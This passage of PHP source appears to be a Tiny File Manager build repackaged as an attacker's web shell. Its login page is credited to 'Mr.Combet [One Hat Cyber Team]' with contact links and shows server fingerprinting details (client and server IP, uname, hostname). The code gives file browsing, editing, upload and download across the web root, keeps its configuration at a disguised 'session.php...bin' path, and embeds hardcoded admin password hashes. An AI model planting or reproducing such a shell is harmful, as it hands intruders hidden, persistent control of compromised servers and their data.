return array(0 => "txt", 1 => "css", 2 => "ini", 3 => "conf", 4 => "log", 5 => "htaccess", 6 => "passwd", 7 => "ftpquota", 8 => "sql", 9 => "js", 10 => "json", 11 => "sh", 12 => "config", 13 => "php", 14 => "php4", 15 => "php5", 16 => "phps", 17 => "phtml", 18 => "htm", 19 => "html", 20 => "shtml", 21 => "xhtml", 22 => "xml", 23 => "xsl", 24 => "m3u", 25 => "m3u8", 26 => "pls", 27 => "cue", 28 => "eml", 29 => "msg", 30 => "csv", 31 => "bat", 32 => "twig", 33 => "tpl", 34 => "md", 35 => "gitignore", 36 => "less", 37 => "sass", 38 => "scss", 39 => "c", 40 => "cpp", 41 => "cs", 42 => "py", 43 => "map", 44 => "lock", 45 => "dtd", 46 => "svg", 47 => "scss", 48 => "asp", 49 => "aspx", 50 => "asx", 51 => "asmx", 52 => "ashx", 53 => "jsx", 54 => "jsp", 55 => "jspx", 56 => "cfm", 57 => "cgi");
}
/**
* Get mime types of text files
* @return array
*/
function fm_get_text_mimes()
{
return array(0 => "application/xml", 1 => "application/javascript", 2 => "application/x-javascript", 3 => "image/svg+xml", 4 => "message/rfc822");
}
/**
* Get file names of text files w/o extensions
* @return array
*/
function fm_get_text_names()
{
return array(0 => "license", 1 => "readme", 2 => "authors", 3 => "contributors", 4 => "changelog");
}
/**
* Get online docs viewer supported files extensions
* @return array
*/
function fm_get_onlineViewer_exts()
{
return array(0 => "doc", 1 => "docx", 2 => "xls", 3 => "xlsx", 4 => "pdf", 5 => "ppt", 6 => "pptx", 7 => "ai", 8 => "psd", 9 => "dxf", 10 => "xps", 11 => "rar", 12 => "odt", 13 => "ods");
}
function fm_get_file_mimes($extension)
{
$fileTypes['swf'] = 'application/x-shockwave-flash';
$fileTypes['pdf'] = 'application/pdf';
$fileTypes['exe'] = 'application/octet-stream';
$fileTypes['zip'] = 'application/zip';
$fileTypes['doc'] = 'application/msword';
$fileTypes['xls'] = 'application/vnd.ms-excel';
$fileTypes['ppt'] = 'application/vnd.ms-powerpoint';
$fileTypes['gif'] = 'image/gif';
$fileTypes['png'] = 'image/png';
$fileTypes['jpeg'] = 'image/jpg';
$fileTypes['jpg'] = 'image/jpg';
$fileTypes['webp'] = 'image/webp';
$fileTypes['avif'] = 'image/avif';
$fileTypes['rar'] = 'application/rar';
$fileTypes['ra'] = 'audio/x-pn-realaudio';
$fileTypes['ram'] = 'audio/x-pn-realaudio';
$fileTypes['ogg'] = 'audio/x-pn-realaudio';
$fileTypes['wav'] = 'video/x-msvideo';
$fileTypes['wmv'] = 'video/x-msvideo';
$fileTypes['avi'] = 'video/x-msvideo';
$fileTypes['asf'] = 'video/x-msvideo';
$fileTypes['divx'] = 'video/x-msvideo';
$fileTypes['mp3'] = 'audio/mpeg';
$fileTypes['mp4'] = 'audio/mpeg';
$fileTypes['mpeg'] = 'video/mpeg';
$fileTypes['mpg'] = 'video/mpeg';
$fileTypes['mpe'] = 'video/mpeg';
$fileTypes['mov'] = 'video/quicktime';
$fileTypes['swf'] = 'video/quicktime';
$fileTypes['3gp'] = 'video/quicktime';
$fileTypes['m4a'] = 'video/quicktime';
$fileTypes['aac'] = 'video/quicktime';
$fileTypes['m3u'] = 'video/quicktime';
$fileTypes['php'] = ['application/x-php'];
$fileTypes['html'] = ['text/html'];
$fileTypes['txt'] = ['text/plain'];
//Unknown mime-types should be 'application/octet-stream'
if (empty($fileTypes[$extension])) {
$fileTypes[$extension] = ['application/octet-stream'];
}
return $fileTypes[$extension];
}
/**
* This function scans the files and folder recursively, and return matching files
* @param string $dir
* @param string $filter
* @return json
*/
function scan($dir, $filter = '')
{
$path = "FM_ROOT_PATH/" . $dir;
if ($dir) {
$ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
$rii = new RegexIterator($ite, "/(" . $filter . ")/i");
$files = array();
foreach ($rii as $file) {
if (!$file->isDir()) {
$fileName = $file->getFilename();
$location = str_replace(FM_ROOT_PATH, '', $file->getPath());
$files[] = array("name" => $fileName, "type" => "file", "path" => $location);
}
}
return $files;
}
}
/*
Parameters: downloadFile(File Location, File Name,
max speed, is streaming
If streaming - videos will show as videos, images as images
instead of download prompt
https://stackoverflow.com/a/13821992/1164642
*/
function fm_download_file($fileLocation, $fileName, $chunkSize = 1024)
{
if (connection_status() != 0) {
return false;
}
$extension = pathinfo($fileName, PATHINFO_EXTENSION);
$contentType = fm_get_file_mimes($extension);
if (is_array($contentType)) {
$contentType = implode(' ', $contentType);
}
header("Cache-Control: public");
header("Content-Transfer-Encoding: binary\n");
header("Content-Type: {$contentType}");
$contentDisposition = 'attachment';
if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
$fileName = preg_replace('/\\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
header("Content-Disposition: {$contentDisposition};filename=\"{$fileName}\"");
} else {
header("Content-Disposition: {$contentDisposition};filename=\"{$fileName}\"");
}
header("Accept-Ranges: bytes");
$range = 0;
$size = filesize($fileLocation);
if (isset($_SERVER['HTTP_RANGE'])) {
list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
str_replace($range, "-", $range);
$size2 = $size - 1;
$new_length = $size - $range;
header("HTTP/1.1 206 Partial Content");
header("Content-Length: {$new_length}");
header("Content-Range: bytes {$range}{$size2}/{$size}");
} else {
$size2 = $size - 1;
header("Content-Range: bytes 0-{$size2}/{$size}");
header("Content-Length: " . $size);
}
if ($size == 0) {
die('Zero byte file! Aborting download');
}
@ini_set('magic_quotes_runtime', 0);
$fp = fopen("{$fileLocation}", "rb");
fseek($fp, $range);
while (!feof($fp) and connection_status() == 0) {
set_time_limit(0);
print @fread($fp, 1024 * $chunkSize);
flush();
ob_flush();
// sleep(1);
}
fclose($fp);
return connection_status() == 0 and !connection_aborted();
}
function fm_get_theme()
{
$result = '';
if (false) {
$result = "text-white bg-dark";
}
return $result;
}
/**
* Class to work with zip files (using ZipArchive)
*/
class FM_Zipper
{
private $zip;
public function __construct()
{
$this->zip = new ZipArchive();
}
/**
* Create archive with name $filename and files $files (RELATIVE PATHS!)
* @param string $filename
* @param array|string $files
* @return bool
*/
public function create($filename, $files)
{
$res = $this->zip->open($filename, ZipArchive::CREATE);
if ($res !== true) {
return false;
}
if (is_array($files)) {
foreach ($files as $f) {
if (!$this->addFileOrDir($f)) {
$this->zip->close();
return false;
}
}
$this->zip->close();
return true;
} else {
if ($this->addFileOrDir($files)) {
$this->zip->close();
return true;
}
return false;
}
}
/**
* Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
* @param string $filename
* @param string $path
* @return bool
*/
public function unzip($filename, $path)
{
$res = $this->zip->open($filename);
if ($res !== true) {
return false;
}
if ($this->zip->extractTo($path)) {
$this->zip->close();
return true;
}
return false;
}
/**
* Add file/folder to archive
* @param string $filename
* @return bool
*/
private function addFileOrDir($filename)
{
if (is_file($filename)) {
return $this->zip->addFile($filename);
} elseif (is_dir($filename)) {
return $this->addDir($filename);
}
return false;
}
/**
* Add folder recursively
* @param string $path
* @return bool
*/
private function addDir($path)
{
if (!$this->zip->addEmptyDir($path)) {
return false;
}
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' && $file != '..') {
if (is_dir($path . '/' . $file)) {
if (!$this->addDir($path . '/' . $file)) {
return false;
}
} elseif (is_file($path . '/' . $file)) {
if (!$this->zip->addFile($path . '/' . $file)) {
return false;
}
}
}
}
return true;
}
return false;
}
}
/**
* Class to work with Tar files (using PharData)
*/
class FM_Zipper_Tar
{
private $tar;
public function __construct()
{
$this->tar = null;
}
/**
* Create archive with name $filename and files $files (RELATIVE PATHS!)
* @param string $filename
* @param array|string $files
* @return bool
*/
public function create($filename, $files)
{
$this->tar = new PharData($filename);
if (is_array($files)) {
foreach ($files as $f) {
if (!$this->addFileOrDir($f)) {
return false;
}
}
return true;
} else {
if ($this->addFileOrDir($files)) {
return true;
}
return false;
}
}
/**
* Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
* @param string $filename
* @param string $path
* @return bool
*/
public function unzip($filename, $path)
{
$res = $this->tar->open($filename);
if ($res !== true) {
return false;
}
if ($this->tar->extractTo($path)) {
return true;
}
return false;
}
/**
* Add file/folder to archive
* @param string $filename
* @return bool
*/
private function addFileOrDir($filename)
{
if (is_file($filename)) {
try {
$this->tar->addFile($filename);
return true;
} catch (Exception $e) {
return false;
}
} elseif (is_dir($filename)) {
return $this->addDir($filename);
}
return false;
}
/**
* Add folder recursively
* @param string $path
* @return bool
*/
private function addDir($path)
{
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' && $file != '..') {
if (is_dir($path . '/' . $file)) {
if (!$this->addDir($path . '/' . $file)) {
return false;
}
} elseif (is_file($path . '/' . $file)) {
try {
$this->tar->addFile($path . '/' . $file);
} catch (Exception $e) {
return false;
}
}
}
}
return true;
}
return false;
}
}
/**
* Save Configuration
*/
class FM_Config
{
var $data;
function __construct()
{
global $root_path, $root_url, $CONFIG;
$fm_url = $root_url . $_SERVER["PHP_SELF"];
$this->data = array('lang' => 'en', 'error_reporting' => true, 'show_hidden' => true);
$data = false;
if (strlen($CONFIG)) {
$data = fm_object_to_array(json_decode($CONFIG));
} else {
$msg = 'Tiny File Manager<br>Error: Cannot load configuration';
if (substr($fm_url, -1) == '/') {
$fm_url = rtrim($fm_url, '/');
$msg = "Tiny File Manager<br>Error: Cannot load configuration<br>";
$msg = "Tiny File Manager<br>Error: Cannot load configuration<br><br>Seems like you have a trailing slash on the URL.";
$msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>';
}
die($msg);
}
if (is_array($data) && count($data)) {
$this->data = $data;
} else {
$this->save();
}
}
function save()
{
$fm_file = "/var/www/html/session.php.2adeffca16cecb6b5fccdc4679ee7697.bin";
$var_name = '$CONFIG';
$var_value = var_export(json_encode($this->data), true);
$config_string = "<?php\r\n//Default Configuration\r\n" . "{$var_name} = {$var_value};" . "\r" . "\n";
if (is_writable($fm_file)) {
$lines = array(0 => "<?php", 1 => "//Default Configuration", 2 => "\$CONFIG = '{\"lang\":\"en\",\"error_reporting\":false,\"show_hidden\":false,\"hide_Cols\":false,\"calc_folder\":false,\"theme\":\"light\"}';", 3 => "", 4 => "", 5 => "/**", 6 => " * H3K | Tiny File Manager V2.4.7", 7 => " * CCP Programmers | ccpprogrammers@gmail.com", 8 => " * https://tinyfilemanager.github.io", 9 => " */", 10 => "", 11 => "//TFM version", 12 => "define('VERSION', '2.4.7');", 13 => "", 14 => "//Application Title", 15 => "define('APP_TITLE', 'File Manager');", 16 => "", 17 => "// --- EDIT BELOW CONFIGURATION CAREFULLY ---", 18 => "", 19 => "// Auth with login/password", 20 => "// set true/false to enable/disable it", 21 => "// Is independent from IP white- and blacklisting", 22 => "\$use_auth = true;", 23 => "", 24 => "// Login user name and password", 25 => "// Users: array('Username' => 'Password', 'Username2' => 'Password2', ...)", 26 => "// Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html", 27 => "\$auth_users = array(", 28 => " 'admin' => '\$2y\$10\$K/u24DFrwZWJ56FaGjaorugF0.QAVt/BURMAfmyL8hP908MT2lF3K', ", 29 => " 'user' => '\$2y\$10\$ogM4dks22JuiOBKGEm9EC.E4tmKyTbsJGFtMfBqzwFvfhATn5VlY6' ", 30 => ");", 31 => "", 32 => "// Readonly users", 33 => "// e.g. array('users', 'guest', ...)", 34 => "\$readonly_users = array(", 35 => " 'user'", 36 => ");", 37 => "", 38 => "// Global readonly, including when auth is not being used", 39 => "\$global_readonly = false;", 40 => "", 41 => "// user specific directories", 42 => "// array('Username' => 'Directory path', 'Username2' => 'Directory path', ...)", 43 => "\$directories_users = array();", 44 => "", 45 => "// Enable highlight.js (https://highlightjs.org/) on view's page", 46 => "\$use_highlightjs = true;", 47 => "", 48 => "// highlight.js style", 49 => "// for dark theme use 'ir-black'", 50 => "\$highlightjs_style = 'vs';", 51 => "", 52 => "// Enable ace.js (https://ace.c9.io/) on view's page", 53 => "\$edit_files = true;", 54 => "", 55 => "// Default timezone for date() and time()", 56 => "// Doc - http://php.net/manual/en/timezones.php", 57 => "\$default_timezone = 'Etc/UTC'; // UTC", 58 => "", 59 => "// Root path for file manager", 60 => "// use absolute path of directory i.e: '/var/www/folder' or \$_SERVER['DOCUMENT_ROOT'].'/folder'", 61 => "\$root_path = \$_SERVER['DOCUMENT_ROOT'];", 62 => "", 63 => "// Root url for links in file manager.Relative to \$http_host. Variants: '', 'path/to/subfolder'", 64 => "// Will not working if \$root_path will be outside of server document root", 65 => "\$root_url = '';", 66 => "", 67 => "// Server hostname. Can set manually if wrong", 68 => "\$http_host = \$_SERVER['HTTP_HOST'];", 69 => "", 70 => "// user specific directories", 71 => "// array('Username' => 'Directory path', 'Username2' => 'Directory path', ...)", 72 => "\$directories_users = array();", 73 => "", 74 => "// input encoding for iconv", 75 => "\$iconv_input_encoding = 'UTF-8';", 76 => "", 77 => "// date() format for file modification date", 78 => "// Doc - https://www.php.net/manual/en/function.date.php", 79 => "\$datetime_format = 'd.m.y H:i';", 80 => "", 81 => "// Allowed file extensions for create and rename files", 82 => "// e.g. 'txt,html,css,js'", 83 => "\$allowed_file_extensions = '';", 84 => "", 85 => "// Allowed file extensions for upload files", 86 => "// e.g. 'gif,png,jpg,html,txt'", 87 => "\$allowed_upload_extensions = '';", 88 => "", 89 => "// Favicon path. This can be either a full url to an .PNG image, or a path based on the document root.", 90 => "// full path, e.g http://example.com/favicon.png", 91 => "// local path, e.g images/icons/favicon.png", 92 => "\$favicon_path = '';", 93 => "", 94 => "// Files and folders to excluded from listing", 95 => "// e.g. array('myfile.html', 'personal-folder', '*.php', ...)", 96 => "\$exclude_items = array();", 97 => "", 98 => "// Online office Docs Viewer", 99 => "// Availabe rules are 'google', 'microsoft' or false", 100 => "// google => View documents using Google Docs Viewer", 101 => "// microsoft => View documents using Microsoft Web Apps Viewer", 102 => "// false => disable online doc viewer", 103 => "\$online_viewer = 'google';", 104 => "", 105 => "// Sticky Nav bar", 106 => "// true => enable sticky header", 107 => "// false => disable sticky header", 108 => "\$sticky_navbar = true;", 109 => "", 110 => "// Maximum file upload size", 111 => "// Increase the following values in php.ini to work properly", 112 => "// memory_limit, upload_max_filesize, post_max_size", 113 => "\$max_upload_size_bytes = 5000;", 114 => "", 115 => "// Possible rules are 'OFF', 'AND' or 'OR'", 116 => "// OFF => Don't check connection IP, defaults to OFF", 117 => "// AND => Connection must be on the whitelist, and not on the blacklist", 118 => "// OR => Connection must be on the whitelist, or not on the blacklist", 119 => "\$ip_ruleset = 'OFF';", 120 => "", 121 => "// Should users be notified of their block?", 122 => "\$ip_silent = true;", 123 => "", 124 => "// IP-addresses, both ipv4 and ipv6", 125 => "\$ip_whitelist = array(", 126 => " '127.0.0.1', // local ipv4", 127 => " '::1' // local ipv6", 128 => ");", 129 => "", 130 => "// IP-addresses, both ipv4 and ipv6", 131 => "\$ip_blacklist = array(", 132 => " '0.0.0.0', // non-routable meta ipv4", 133 => " '::' // non-routable meta ipv6", 134 => ");", 135 => "", 136 => "// if User has the customized config file, try to use it to override the default config above", 137 => "\$config_file = __DIR__.'/config.php';", 138 => "if (is_readable(\$config_file)) {", 139 => " @include(\$config_file);", 140 => "}", 141 => "", 142 => "// --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL ---", 143 => "", 144 => "// max upload file size", 145 => "define('MAX_UPLOAD_SIZE', \$max_upload_size_bytes);", 146 => "", 147 => "// private key and session name to store to the session", 148 => "if ( !defined( 'FM_SESSION_ID')) {", 149 => " define('FM_SESSION_ID', 'filemanager');", 150 => "}", 151 => "", 152 => "// Configuration", 153 => "\$cfg = new FM_Config();", 154 => "", 155 => "// Default language", 156 => "\$lang = isset(\$cfg->data['lang']) ? \$cfg->data['lang'] : 'en';", 157 => "", 158 => "// Show or hide files and folders that starts with a dot", 159 => "\$show_hidden_files = isset(\$cfg->data['show_hidden']) ? \$cfg->data['show_hidden'] : true;", 160 => "", 161 => "// PHP error reporting - false = Turns off Errors, true = Turns on Errors", 162 => "\$report_errors = isset(\$cfg->data['error_reporting']) ? \$cfg->data['error_reporting'] : true;", 163 => "", 164 => "// Hide Permissions and Owner cols in file-listing", 165 => "\$hide_Cols = isset(\$cfg->data['hide_Cols']) ? \$cfg->data['hide_Cols'] : true;", 166 => "", 167 => "// Show directory size: true or speedup output: false", 168 => "\$calc_folder = isset(\$cfg->data['calc_folder']) ? \$cfg->data['calc_folder'] : true;", 169 => "", 170 => "// Theme", 171 => "\$theme = isset(\$cfg->data['theme']) ? \$cfg->data['theme'] : 'light';", 172 => "", 173 => "define('FM_THEME', \$theme);", 174 => "", 175 => "//available languages", 176 => "\$lang_list = array(", 177 => " 'en' => 'English'", 178 => ");", 179 => "", 180 => "if (\$report_errors == true) {", 181 => " @ini_set('error_reporting', E_ALL);", 182 => " @ini_set('display_errors', 1);", 183 => "} else {", 184 => " @ini_set('error_reporting', E_ALL);", 185 => " @ini_set('display_errors', 0);", 186 => "}", 187 => "", 188 => "// if fm included", 189 => "if (defined('FM_EMBED')) {", 190 => " \$use_auth = false;", 191 => " \$sticky_navbar = false;", 192 => "} else {", 193 => " @set_time_limit(600);", 194 => "", 195 => " date_default_timezone_set(\$default_timezone);", 196 => "", 197 => " ini_set('default_charset', 'UTF-8');", 198 => " if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) {", 199 => " mb_internal_encoding('UTF-8');", 200 => " }", 201 => " if (function_exists('mb_regex_encoding')) {", 202 => " mb_regex_encoding('UTF-8');", 203 => " }", 204 => "", 205 => " session_cache_limiter('');", 206 => " session_name(FM_SESSION_ID );", 207 => " function session_error_handling_function(\$code, \$msg, \$file, \$line) {", 208 => " // Permission denied for default session, try to create a new one", 209 => " if (\$code == 2) {", 210 => " session_abort();", 211 => " session_id(session_create_id());", 212 => " @session_start();", 213 => " }", 214 => " }", 215 => " set_error_handler('session_error_handling_function');", 216 => " session_start();", 217 => " restore_error_handler();", 218 => "}", 219 => "", 220 => "if (empty(\$auth_users)) {", 221 => " \$use_auth = false;", 222 => "}", 223 => "", 224 => "\$is_https = isset(\$_SERVER['HTTPS']) && (\$_SERVER['HTTPS'] == 'on' || \$_SERVER['HTTPS'] == 1)", 225 => " || isset(\$_SERVER['HTTP_X_FORWARDED_PROTO']) && \$_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https';", 226 => "", 227 => "// update \$root_url based on user specific directories", 228 => "if (isset(\$_SESSION[FM_SESSION_ID]['logged']) && !empty(\$directories_users[\$_SESSION[FM_SESSION_ID]['logged']])) {", 229 => " \$wd = fm_clean_path(dirname(\$_SERVER['PHP_SELF']));", 230 => " \$root_url = \$root_url.\$wd.DIRECTORY_SEPARATOR.\$directories_users[\$_SESSION[FM_SESSION_ID]['logged']];", 231 => "}", 232 => "// clean \$root_url", 233 => "\$root_url = fm_clean_path(\$root_url);", 234 => "", 235 => "// abs path for site", 236 => "defined('FM_ROOT_URL') || define('FM_ROOT_URL', (\$is_https ? 'https' : 'http') . '://' . \$http_host . (!empty(\$root_url) ? '/' . \$root_url : ''));", 237 => "defined('FM_SELF_URL') || define('FM_SELF_URL', (\$is_https ? 'https' : 'http') . '://' . \$http_host . \$_SERVER['PHP_SELF']);", 238 => "", 239 => "// logout", 240 => "if (isset(\$_GET['logout'])) {", 241 => " unset(\$_SESSION[FM_SESSION_ID]['logged']);", 242 => " fm_redirect(FM_SELF_URL);", 243 => "}", 244 => "", 245 => "// Validate connection IP", 246 => "if (\$ip_ruleset != 'OFF') {", 247 => " function getClientIP() {", 248 => " if (array_key_exists('HTTP_X_FORWARDED_FOR', \$_SERVER)) {", 249 => " return \$_SERVER[\"HTTP_X_FORWARDED_FOR\"];", 250 => " }else if (array_key_exists('REMOTE_ADDR', \$_SERVER)) {", 251 => " return \$_SERVER['REMOTE_ADDR'];", 252 => " }else if (array_key_exists('HTTP_CLIENT_IP', \$_SERVER)) {", 253 => " return \$_SERVER['HTTP_CLIENT_IP'];", 254 => " }", 255 => " return '';", 256 => " }", 257 => "", 258 => " \$clientIp = getClientIP();", 259 => "", 260 => " \$proceed = false;", 261 => "", 262 => " \$whitelisted = in_array(\$clientIp, \$ip_whitelist);", 263 => " \$blacklisted = in_array(\$clientIp, \$ip_blacklist);", 264 => "", 265 => " if(\$ip_ruleset == 'AND'){", 266 => " if(\$whitelisted == true && \$blacklisted == false){", 267 => " \$proceed = true;", 268 => " }", 269 => " } else", 270 => " if(\$ip_ruleset == 'OR'){", 271 => " if(\$whitelisted == true || \$blacklisted == false){", 272 => " \$proceed = true;", 273 => " }", 274 => " }", 275 => "", 276 => " if(\$proceed == false){", 277 => " trigger_error('User connection denied from: ' . \$clientIp, E_USER_WARNING);", 278 => "", 279 => " if(\$ip_silent == false){", 280 => " fm_set_msg(lng('Access denied. IP restriction applicable'), 'error');", 281 => " fm_show_header_login();", 282 => " fm_show_message();", 283 => " }", 284 => "", 285 => " exit();", 286 => " }", 287 => "}", 288 => "", 289 => "// Auth", 290 => "if (\$use_auth) {", 291 => " if (isset(\$_SESSION[FM_SESSION_ID]['logged'], \$auth_users[\$_SESSION[FM_SESSION_ID]['logged']])) {", 292 => " // Logged", 293 => " } elseif (isset(\$_POST['fm_usr'], \$_POST['fm_pwd'])) {", 294 => " // Logging In", 295 => " sleep(1);", 296 => " if(function_exists('password_verify')) {", 297 => " if (isset(\$auth_users[\$_POST['fm_usr']]) && isset(\$_POST['fm_pwd']) && password_verify(\$_POST['fm_pwd'], \$auth_users[\$_POST['fm_usr']])) {", 298 => " \$_SESSION[FM_SESSION_ID]['logged'] = \$_POST['fm_usr'];", 299 => " fm_set_msg(lng('You are logged in'));", 300 => " fm_redirect(FM_SELF_URL . '?p=');", 301 => " } else {", 302 => " unset(\$_SESSION[FM_SESSION_ID]['logged']);", 303 => " fm_set_msg(lng('Login failed. Invalid username or password'), 'error');", 304 => " fm_redirect(FM_SELF_URL);", 305 => " }", 306 => " } else {", 307 => " fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');;", 308 => " }", 309 => " } else {", 310 => " // Form", 311 => " unset(\$_SESSION[FM_SESSION_ID]['logged']);", 312 => " fm_show_header_login();", 313 => " ?>", 314 => " <section class=\"h-100\">", 315 => " <div class=\"container h-100\">", 316 => " <div class=\"row justify-content-md-center h-100\">", 317 => " <div class=\"card-wrapper\" style=\"width: 100%;\">", 318 => " <div class=\"card fat <?php echo fm_get_theme(); ?>\">", 319 => " <div class=\"card-body\">", 320 => " <form class=\"form-signin\" action=\"\" method=\"post\" autocomplete=\"off\">", 321 => " <div class=\"form-group\">", 322 => " <div class=\"text-left\">", 323 => " <div style=\"text-align: center;display: flex;align-items: center;justify-content: center;align-content: center;\">", 324 => " <a href=\"mailto:combetohct@yahoo.com\" class=\"fa fa-envelope\"></a>", 325 => " <a href=\"https://www.facebook.com/combet.ohct\" class=\"fa fa-facebook\"></a>", 326 => " <a href=\"https://wa.me/6281270303335\" class=\"fa fa-whatsapp\"></a>", 327 => " <a href=\"https://t.me/combetohct\" class=\"fa fa-telegram\"></a> ", 328 => " </div>", 329 => " <div class=\"footer text-center\">—— ", 330 => " <a href=\"?\" target=\"_blank\" data-version=\"<?php echo VERSION; ?>\">", 331 => " Mr.Combet [One Hat Cyber Team]", 332 => " </a> ——", 333 => " </div>", 334 => " <b style=\"font-size: 0.9rem;\">", 335 => " <li>Your Ip : <?php echo \$_SERVER['REMOTE_ADDR']; ?></li>", 336 => " <li>Server Ip : <?php echo \$_SERVER['SERVER_ADDR']; ?></li>", 337 => " <li>Server : <? echo \"\".php_uname().\"\"; ?></li>", 338 => " <li>Server Software : <?php echo gethostbyname(\$_SERVER['SERVER_SOFTWARE']); ?></li>", 339 => " <li>Server Name : <?php echo \$_SERVER['SERVER_NAME']; ?></li>", 340 => " <b />", 341 => " </div>", 342 => " </div>", 343 => " <hr />", 344 => " <div class=\"form-group\">", 345 => " <label for=\"fm_usr\"><?php echo lng('Username'); ?></label>", 346 => " <input type=\"text\" class=\"form-control\" id=\"fm_usr\" name=\"fm_usr\" required autofocus>", 347 => " </div>", 348 => "", 349 => " <div class=\"form-group\">", 350 => " <label for=\"fm_pwd\"><?php echo lng('Password'); ?></label>", 351 => " <input type=\"password\" class=\"form-control\" id=\"fm_pwd\" name=\"fm_pwd\" required>", 352 => " </div>", 353 => "", 354 => " <div class=\"form-group\">", 355 => " <?php fm_show_message(); ?>", 356 => " </div>", 357 => "", 358 => " <div class=\"form-group\" style=\"text-align: center;\">", 359 => " <button type=\"submit\" class=\"fa\" role=\"button\" style=\"width: auto;font-family: 'Kelly Slab';padding:5px;\">", 360 => " <?php echo lng('Login'); ?>", 361 => " </button>", 362 => " </div>", 363 => " </form>", 364 => " </div>", 365 => " </div>", 366 => " </div>", 367 => " </div>", 368 => " </div>", 369 => " </section>", 370 => "", 371 => " <?php", 372 => " fm_show_footer_login();", 373 => " exit;", 374 => " }", 375 => "}", 376 => "", 377 => "// update root path", 378 => "if (\$use_auth && isset(\$_SESSION[FM_SESSION_ID]['logged'])) {", 379 => " \$root_path = isset(\$directories_users[\$_SESSION[FM_SESSION_ID]['logged']]) ? \$directories_users[\$_SESSION[FM_SESSION_ID]['logged']] : \$root_path;", 380 => "}", 381 => "", 382 => "// clean and check \$root_path", 383 => "\$root_path = rtrim(\$root_path, '\\\\/');", 384 => "\$root_path = str_replace('\\\\', '/', \$root_path);", 385 => "if (!@is_dir(\$root_path)) {", 386 => " echo \"<h1>\".lng('Root path').\" \\\"{\$root_path}\\\" \".lng('not found!').\" </h1>\";", 387 => " exit;", 388 => "}", 389 => "", 390 => "defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', \$show_hidden_files);", 391 => "defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', \$root_path);", 392 => "defined('FM_LANG') || define('FM_LANG', \$lang);", 393 => "defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', \$allowed_file_extensions);", 394 => "defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', \$allowed_upload_extensions);", 395 => "defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize(\$exclude_items) : \$exclude_items));", 396 => "defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', \$online_viewer);", 397 => "define('FM_READONLY', \$use_auth && !empty(\$readonly_users) && isset(\$_SESSION[FM_SESSION_ID]['logged']) && in_array(\$_SESSION[FM_SESSION_ID]['logged'], \$readonly_users));", 398 => "define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\\\');", 399 => "", 400 => "// always use ?p=", 401 => "if (!isset(\$_GET['p']) && empty(\$_FILES)) {", 402 => " fm_redirect(FM_SELF_URL . '?p=');", 403 => "}", 404 => "", 405 => "// get path", 406 => "\$p = isset(\$_GET['p']) ? \$_GET['p'] : (isset(\$_POST['p']) ? \$_POST['p'] : '');", 407 => "", 408 => "// clean path", 409 => "\$p = fm_clean_path(\$p);", 410 => "", 411 => "// for ajax request - save", 412 => "\$input = file_get_contents('php://input');", 413 => "\$_POST = (strpos(\$input, 'ajax') != FALSE && strpos(\$input, 'save') != FALSE) ? json_decode(\$input, true) : \$_POST;", 414 => "", 415 => "// instead globals vars", 416 => "define('FM_PATH', \$p);", 417 => "define('FM_USE_AUTH', \$use_auth);", 418 => "define('FM_EDIT_FILE', \$edit_files);", 419 => "defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', \$iconv_input_encoding);", 420 => "defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', \$use_highlightjs);", 421 => "defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', \$highlightjs_style);", 422 => "defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', \$datetime_format);", 423 => "", 424 => "unset(\$p, \$use_auth, \$iconv_input_encoding, \$use_highlightjs, \$highlightjs_style);", 425 => "", 426 => "/*************************** ACTIONS ***************************/", 427 => "", 428 => "// AJAX Request", 429 => "if (isset(\$_POST['ajax']) && !FM_READONLY) {", 430 => "", 431 => " // save", 432 => " if (isset(\$_POST['type']) && \$_POST['type'] == \"save\") {", 433 => " // get current path", 434 => " \$path = FM_ROOT_PATH;", 435 => " if (FM_PATH != '') {", 436 => " \$path .= '/' . FM_PATH;", 437 => " }", 438 => " // check path", 439 => " if (!is_dir(\$path)) {", 440 => " fm_redirect(FM_SELF_URL . '?p=');", 441 => " }", 442 => " \$file = \$_GET['edit'];", 443 => " \$file = fm_clean_path(\$file);", 444 => " \$file = str_replace('/', '', \$file);", 445 => " if (\$file == '' || !is_file(\$path . '/' . \$file)) {", 446 => " fm_set_msg(lng('File not found'), 'error');", 447 => " fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 448 => " }", 449 => " header('X-XSS-Protection:0');", 450 => " \$file_path = \$path . '/' . \$file;", 451 => "", 452 => " \$writedata = \$_POST['content'];", 453 => " \$fd = fopen(\$file_path, \"w\");", 454 => " \$write_results = @fwrite(\$fd, \$writedata);", 455 => " fclose(\$fd);", 456 => " if (\$write_results === false){", 457 => " header(\"HTTP/1.1 500 Internal Server Error\");", 458 => " die(\"Could Not Write File! - Check Permissions / Ownership\");", 459 => " }", 460 => " die(true);", 461 => " }", 462 => "", 463 => " //search : get list of files from the current folder", 464 => " if(isset(\$_POST['type']) && \$_POST['type']==\"search\") {", 465 => " \$dir = FM_ROOT_PATH;", 466 => " \$response = scan(fm_clean_path(\$_POST['path']), \$_POST['content']);", 467 => " echo 